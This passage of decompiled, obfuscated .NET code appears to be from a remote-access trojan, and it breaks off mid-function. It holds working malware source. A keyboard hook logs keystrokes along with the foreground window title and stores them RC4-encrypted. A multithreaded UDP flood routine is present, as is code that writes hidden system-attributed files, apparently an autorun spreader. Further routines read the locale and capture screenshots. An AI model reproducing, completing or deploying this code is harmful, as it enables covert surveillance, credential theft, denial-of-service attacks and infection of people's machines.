if (\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2397), false))
{
\u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225))));
\u0002.\u0002(8, 0, 0, 0, 0);
\u0002.\u0002(16, 0, 0, 0, 0);
}
else if (\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2402), false))
{
\u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225))));
\u0002.\u0002(2, 0, 0, 0, 0);
\u0002.\u0002(4, 0, 0, 0, 0);
}
else
{
if (!\u008E\u0004.\u009C\u0006(obj, (object) \u0002.\u0001.\u0001(2407), false))
return;
\u0002.\u0002(\u001D\u0002.\u0095\u0006(\u0002.\u0002(1, this.\u0001, \u0002.\u0001.\u0001(225))), \u001D\u0002.\u0095\u0006(\u0002.\u0002(2, this.\u0001, \u0002.\u0001.\u0001(225))));
\u0002.\u0002(2, 0, 0, 0, 0);
\u0002.\u0002(4, 0, 0, 0, 0);
\u0002.\u0002(2, 0, 0, 0, 0);
\u0002.\u0002(4, 0, 0, 0, 0);
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
[DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] int obj0, [In] \u0002.\u0001.\u0002 obj1, [In] int obj2, [In] int obj3);
[DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0002.\u0001.\u0001 obj3);
[DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002();
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int \u0002(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch);
private string \u0002()
{
string lpString = new string(char.MinValue, 100);
\u0002.\u0001.\u0002(\u0002.\u0001.\u0002(), ref lpString, 100);
lpString = \u0093\u0002.\u007E\u0091\u0002((object) lpString, 0, checked (\u0098\u0004.\u000F\u0007(lpString, \u0002.\u0001.\u0001(2412), CompareMethod.Binary) - 1));
return lpString;
}
public void \u0084()
{
try
{
\u0002.\u0001 TargetObject = this;
// ISSUE: virtual method pointer
this.\u0001 = new \u0002.\u0001.\u0002((object) TargetObject, __vmethodptr(TargetObject, \u0002));
this.\u0001 = \u0017\u0003.\u0094\u0003(\u0002.\u0001.\u0002(13, this.\u0001, \u0018\u0003.\u0095\u0003(\u001C\u0002.\u007E\u0004\u0002((object) \u001E\u0002.\u007E\u0097((object) \u0082\u0002.\u009C()))), 0));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public int \u0002([In] int obj0, [In] int obj1, [In] ref \u0002.\u0001.\u0001 obj2)
{
int num;
try
{
string str1 = this.\u0002();
if (\u008F\u0004.\u009D\u0006(str1, this.\u0012, false) != 0)
goto label_61;
label_1:
string str2 = \u0002.\u0001.\u0001(328);
if (obj1 == 256 | obj1 == 260)
{
if (obj0 >= 0 && \u0004\u0002.\u007E\u0088\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) & \u0004\u0002.\u007E\u0087\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) & obj2.\u0001 == 83)
{
num = 1;
goto label_63;
}
else
{
switch (obj2.\u0001)
{
case 8:
str2 = \u0002.\u0001.\u0001(2732);
break;
case 9:
str2 = \u0002.\u0001.\u0001(2623);
break;
case 13:
str2 = \u0002.\u0001.\u0001(2618);
break;
case 20:
case 144:
case 160:
case 161:
break;
case 27:
str2 = \u0002.\u0001.\u0001(2641);
break;
case 32:
str2 = \u0002.\u0001.\u0001(2578);
break;
case 37:
str2 = \u0002.\u0001.\u0001(2698);
break;
case 38:
str2 = \u0002.\u0001.\u0001(2715);
break;
case 39:
str2 = \u0002.\u0001.\u0001(2660);
break;
case 40:
str2 = \u0002.\u0001.\u0001(2681);
break;
case 46:
str2 = \u0002.\u0001.\u0001(2628);
break;
case 48:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(861);
break;
case 49:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2533);
break;
case 50:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2538);
break;
case 51:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2543);
break;
case 52:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2548);
break;
case 53:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2553);
break;
case 54:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2558);
break;
case 55:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2563);
break;
case 56:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2568);
break;
case 57:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2573);
break;
case 65:
case 66:
case 67:
case 68:
case 69:
case 70:
case 71:
case 72:
case 73:
case 74:
case 75:
case 76:
case 77:
case 78:
case 79:
case 80:
case 81:
case 82:
case 83:
case 84:
case 85:
case 86:
case 87:
case 88:
case 89:
case 90:
str2 = !\u0004\u0002.\u007E\u0089\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? (!\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))) : \u009B\u0004.\u0013\u0007(\u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))), VbStrConv.Uppercase, 0)) : \u009B\u0004.\u0013\u0007(\u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))), VbStrConv.Uppercase, 0);
break;
case 96:
str2 = \u0002.\u0001.\u0001(2473);
break;
case 97:
str2 = \u0002.\u0001.\u0001(2478);
break;
case 98:
str2 = \u0002.\u0001.\u0001(2483);
break;
case 99:
str2 = \u0002.\u0001.\u0001(2488);
break;
case 100:
str2 = \u0002.\u0001.\u0001(2493);
break;
case 101:
str2 = \u0002.\u0001.\u0001(2498);
break;
case 102:
str2 = \u0002.\u0001.\u0001(2503);
break;
case 103:
str2 = \u0002.\u0001.\u0001(2508);
break;
case 104:
str2 = \u0002.\u0001.\u0001(2513);
break;
case 105:
str2 = \u0002.\u0001.\u0001(2518);
break;
case 106:
str2 = \u0002.\u0001.\u0001(2568);
break;
case 107:
str2 = \u0002.\u0001.\u0001(2756);
break;
case 109:
case 189:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(230) : \u0002.\u0001.\u0001(2751);
break;
case 110:
case 190:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2746) : \u0002.\u0001.\u0001(2741);
break;
case 111:
str2 = \u0002.\u0001.\u0001(225);
break;
case 112:
case 113:
case 114:
case 115:
case 116:
case 117:
case 118:
case 119:
case 120:
case 121:
case 122:
case 123:
case 124:
case 125:
case 126:
case (int) sbyte.MaxValue:
case 128:
case 129:
case 130:
case 131:
case 132:
case 133:
case 134:
case 135:
str2 = \u0098\u0002.\u009D\u0002(\u0002.\u0001.\u0001(2650), \u008B\u0004.\u0098\u0006(checked (obj2.\u0001 - 111)), \u0002.\u0001.\u0001(2655));
break;
case 162:
case 163:
str2 = \u0002.\u0001.\u0001(2583);
break;
case 164:
str2 = \u0002.\u0001.\u0001(2596);
break;
case 165:
str2 = \u0002.\u0001.\u0001(2605);
break;
case 186:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2781) : \u0002.\u0001.\u0001(2184);
break;
case 187:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2170) : \u0002.\u0001.\u0001(2756);
break;
case 188:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2796) : \u0002.\u0001.\u0001(2791);
break;
case 191:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(225) : \u0002.\u0001.\u0001(2761);
break;
case 192:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2528) : \u0002.\u0001.\u0001(2523);
break;
case 219:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2771) : \u0002.\u0001.\u0001(2766);
break;
case 220:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(475) : \u0002.\u0001.\u0001(2130);
break;
case 221:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2655) : \u0002.\u0001.\u0001(2776);
break;
case 222:
str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2786) : \u0002.\u0001.\u0001(777);
break;
default:
str2 = \u0014\u0002.\u007E\u0097\u0002((object) \u0098\u0002.\u009D\u0002(\u0002.\u0001.\u0001(2801), obj2.\u0001.ToString(), \u0002.\u0001.\u0001(2806)));
break;
}
}
}
else if (obj1 == 257 | obj1 == 261)
{
switch (obj2.\u0001)
{
case 162:
case 163:
str2 = \u0002.\u0001.\u0001(2811);
break;
case 164:
str2 = \u0002.\u0001.\u0001(2828);
break;
case 165:
str2 = \u0002.\u0001.\u0001(2837);
break;
}
}
this.\u0014 = \u0097\u0002.\u009C\u0002(this.\u0014, str2);
num = \u0002.\u0001.\u0002(\u0018\u0003.\u0095\u0003(this.\u0001), obj0, obj1, obj2);
goto label_63;
label_61:
this.\u0012 = str1;
string[] strArray = new string[8]
{
this.\u0014,
\u0002.\u0001.\u0001(2417),
str1,
\u0002.\u0001.\u0001(2438),
\u0011\u0002.\u008B\u0003(),
\u0002.\u0001.\u0001(2443),
\u0001\u0003.\u0010\u0003().ToString(),
\u0002.\u0001.\u0001(2448)
};
this.\u0014 = \u009A\u0002.\u009F\u0002(strArray);
goto label_1;
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
label_63:
return num;
}
public void \u0086()
{
while (true)
{
\u0002.\u0003 = \u008D\u0004.\u009A\u0006(\u0001\u0003.\u0012\u0003());
\u0002.\u0004 = \u0098\u0002.\u009D\u0002(\u0011\u0002.\u008B\u0003(), \u0095\u0002.\u007E\u0099\u0002((object) \u0002.\u0003, \u0002.\u0001.\u0001(225), \u0002.\u0001.\u0001(230)), \u0002.\u0001.\u0001(235));
if (\u0002.\u0002)
{
try
{
string str1 = this.\u0014;
this.\u0014 = \u0002.\u0001.\u0001(328);
if (!\u0004\u0004.\u0094\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004)))
\u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004), \u0002.\u0001.\u0001(328), false);
string str2 = \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004));
string str3 = \u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) != 0 ? this.\u0003(str2) : \u0002.\u0001.\u0001(328);
string str4 = this.\u0002(\u0097\u0002.\u009C\u0002(str3, str1));
\u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004), str4, false);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
\u0015\u0003.\u0090\u0003(0);
\u0015\u0003.\u001B\u0004(10000);
}
}
public string \u0002([In] string obj0, [In] string obj1)
{
int index1 = 0;
int index2 = 0;
StringBuilder stringBuilder1 = new StringBuilder();
string empty = string.Empty;
int[] numArray1 = new int[257];
int[] numArray2 = new int[257];
int num1 = \u001D\u0002.\u007E\u008E\u0002((object) obj1);
int index3 = 0;
while (index3 <= (int) byte.MaxValue)
{
char ch = \u0090\u0002.\u007E\u008D\u0002((object) \u0093\u0002.\u007E\u0091\u0002((object) obj1, index3 % num1, 1))[0];
numArray2[index3] = \u0096\u0004.\u0007\u0007(ch);
numArray1[index3] = index3;
int num2 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref index3), checked (index3 - 1));
}
int index4 = 0;
int index5 = 0;
while (index5 <= (int) byte.MaxValue)
{
index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
int num3 = numArray1[index5];
numArray1[index5] = numArray1[index4];
numArray1[index4] = num3;
int num4 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref index5), checked (index5 - 1));
}
int num5 = 1;
while (num5 <= \u001D\u0002.\u007E\u008E\u0002((object) obj0))
{
index1 = checked (index1 + 1) % 256;
index2 = checked (index2 + numArray1[index1]) % 256;
int num6 = numArray1[index1];
numArray1[index1] = numArray1[index2];
numArray1[index2] = num6;
int num7 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
char ch = \u0090\u0002.\u007E\u008D\u0002((object) \u0093\u0002.\u007E\u0091\u0002((object) obj0, checked (num5 - 1), 1))[0];
int num8 = \u0096\u0004.\u0007\u0007(ch) ^ num7;
StringBuilder stringBuilder2 = \u009E\u0002.\u007E\u0008\u0003((object) stringBuilder1, \u0097\u0004.\u0008\u0007(num8));
int num9 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref num5), checked (num5 - 1));
}
string str = \u0014\u0002.\u007E\u0005\u0003((object) stringBuilder1);
\u009C\u0002.\u007E\u0006\u0003((object) stringBuilder1, 0);
return str;
}
public string \u0002([In] string obj0)
{
byte[] numArray = \u009B\u0003.\u007E\u0007\u0005((object) \u009E\u0003.\u000F\u0005(), obj0);
return this.\u0002(\u0010\u0003.\u0082\u0003(numArray), \u0002.\u0001.\u0001(2850));
}
public string \u0003([In] string obj0)
{
string str = this.\u0002(obj0, \u0002.\u0001.\u0001(2850));
byte[] numArray = \u0011\u0003.\u0083\u0003(str);
return \u009C\u0003.\u007E\u0008\u0005((object) \u009E\u0003.\u000F\u0005(), numArray);
}
public void \u0087()
{
try
{
Thread[] threadArray1 = new Thread[checked (this.\u0002 + 1)];
int num = this.\u0002;
int index1 = 0;
while (index1 <= num)
{
Thread[] threadArray2 = threadArray1;
int index2 = index1;
\u0002.\u0001 obj = this;
// ISSUE: virtual method pointer
Thread thread = new Thread(new ThreadStart((object) obj, __vmethodptr(obj, \u0088)));
threadArray2[index2] = thread;
\u0001\u0002.\u007E\u0019\u0004((object) threadArray1[index1]);
checked { ++index1; }
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
public void \u0088()
{
try
{
Stopwatch stopwatch = new Stopwatch();
\u0001\u0002.\u007E\u0013\u0002((object) stopwatch);
IPEndPoint ipEndPoint = new IPEndPoint(\u0013\u0002.\u0086(this.\u0010), this.\u0001);
byte[] numArray = new byte[4096];
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
for (; \u008F\u0004.\u009D\u0006(this.\u0011, \u0002.\u0001.\u0001(2875), false) == 0; this.\u0011 = \u0002.\u0001.\u0001(1037))
{
while (\u0089\u0002.\u007E\u0014\u0002((object) stopwatch).TotalSeconds <= (double) \u0002.\u0005)
{
if (\u008F\u0004.\u009D\u0006(this.\u0011, \u0002.\u0001.\u0001(1037), false) == 0)
\u0002.\u0005 = -1;
try
{
int num = \u0018\u0002.\u007E\u008D((object) socket, numArray, (EndPoint) ipEndPoint);
\u0015\u0003.\u001B\u0004(50);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0015\u0003.\u001B\u0004(50);
\u0016\u0003.\u0001\u0007();
}
\u0016\u0003.\u0016\u0007();
}
}
\u0015\u0003.\u0090\u0003(0);
\u0002.\u0007();
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
static \u0001() => \u0004.\u0002(typeof (\u0002.\u0001));
public struct \u0001
{
public int \u0001;
public int \u0002;
public int \u0003;
public int \u0004;
public int \u0005;
}
private delegate int \u0002(int Code, int wParam, ref \u0002.\u0001.\u0001 lParam);
}
public sealed class \u0002
{
[NonSerialized]
internal static \u0002 \u0001;
public string \u0001;
public void \u0002()
{
string[] strArray = new string[16]
{
\u0002.\u0002.\u0001(2912),
\u0002.\u0005,
\u0002.\u0002.\u0001(2925),
\u0002.\u0007,
\u0002.\u0002.\u0001(2934),
\u0002.\u0005,
\u0002.\u0002.\u0001(2943),
\u0002.\u0005,
\u0002.\u0002.\u0001(2988),
\u0002.\u0005,
\u0002.\u0002.\u0001(3013),
\u0002.\u0007,
\u0002.\u0002.\u0001(2934),
\u0002.\u0005,
\u0002.\u0002.\u0001(3042),
\u0002.\u0002
};
string str = \u009A\u0002.\u009F\u0002(strArray);
try
{
if (\u0004\u0004.\u0094\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))))
{
if (\u008D\u0002.\u007E\u0093\u0002((object) \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))), \u0002.\u0002))
return;
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
StreamWriter streamWriter = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)));
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter, str);
\u0001\u0002.\u007E\u0012\u0006((object) streamWriter);
\u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)));
\u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive);
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
else
{
try
{
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.Normal);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
\u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)));
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
try
{
StreamWriter streamWriter = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)));
\u0006\u0002.\u007E\u0011\u0006((object) streamWriter, str);
\u0001\u0002.\u007E\u0012\u0006((object) streamWriter);
\u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)));
\u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive);
\u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive);
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
\u0016\u0003.\u0001\u0007();
}
}
static \u0002() => \u0004.\u0002(typeof (\u0002.\u0002));
}
public sealed class \u0003
{
[DllImport("kernel32.dll", EntryPoint = "GetLocaleInfo")]
private static extern int \u0002(
uint Locale,
uint LCType,
[Out] StringBuilder lpLCData,
int cchData);
private static string \u0002([In] uint obj0)
{
StringBuilder lpLCData = new StringBuilder(256);
int num = \u0002.\u0003.\u0002(1024U, obj0, lpLCData, \u001D\u0002.\u007E\u0004\u0003((object) lpLCData));
return num > 0 ? \u0093\u0002.\u007E\u0091\u0002((object) \u0014\u0002.\u007E\u0005\u0003((object) lpLCData), 0, checked (num - 1)) : string.Empty;
}
public static object \u0002() => (object) \u0002.\u0003.\u0002(4098U);
}
public sealed class \u0004
{
[NonSerialized]
internal static \u0002 \u0001;
public Image \u0002() => this.\u0002(\u0002.\u0004.\u0002.\u0002());
public Image \u0002([In] IntPtr obj0)
{
int num1 = 13369376;
IntPtr num2 = \u0002.\u0004.\u0002.\u0002(obj0);
\u0002.\u0004.\u0002.\u0001 obj = new \u0002.\u0004.\u0002.\u0001();
\u0002.\u0004.\u0002.\u0002(obj0, ref obj);
int num3 = checked (obj.\u0003 - obj.\u0001);
int num4 = checked (obj.\u0004 - obj.\u0002);
IntPtr num5 = \u0002.\u0004.\u0001.\u0002(num2);
IntPtr num6 = \u0002.\u0004.\u0001.\u0002(num2, num3, num4);
IntPtr num7 = \u0002.\u0004.\u0001.\u0002(num5, num6);
\u0002.\u0004.\u0001.\u0002(num5, 0, 0, num3, num4, num2, 0, 0, num1);
\u0002.\u0004.\u0001.\u0002(num5, num7);
\u0002.\u0004.\u0001.\u0002(num5);
\u0002.\u0004.\u0002.\u0002(obj0, num2);
Image image = (Image) \u0002\u0005.\u007F\u0007(num6);
\u0002.\u0004.\u0001.\u0003(num6);
\u0002.\u0007();
return image;
}
public void \u0002([In] string obj0, [In] string obj1)
{
try
{
string str = obj1;
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2223), false) != 0)
{
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2245), false) == 0)
{
Bitmap bitmap = (Bitmap) this.\u0002();
ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066));
EncoderParameters encoderParameters = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L);
\u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter;
\u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters);
}
else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2254), false) == 0)
{
Bitmap bitmap = (Bitmap) this.\u0002();
ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066));
EncoderParameters encoderParameters = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 14L);
\u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter;
\u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters);
}
else
{
if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2271), false) != 0)
return;
Bitmap bitmap = this.\u0002((Bitmap) this.\u0002());
ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3083));
System.Drawing.Imaging.Encoder compression = System.Drawing.Imaging.Encoder.Compression;
EncoderParameters encoderParameters = new EncoderParameters(1);
EncoderParameter encoderParameter = new EncoderParameter(compression, 4L);
\u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter;
\u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2284)), imageCodecInfo, encoderParameters);
}
}
else
{
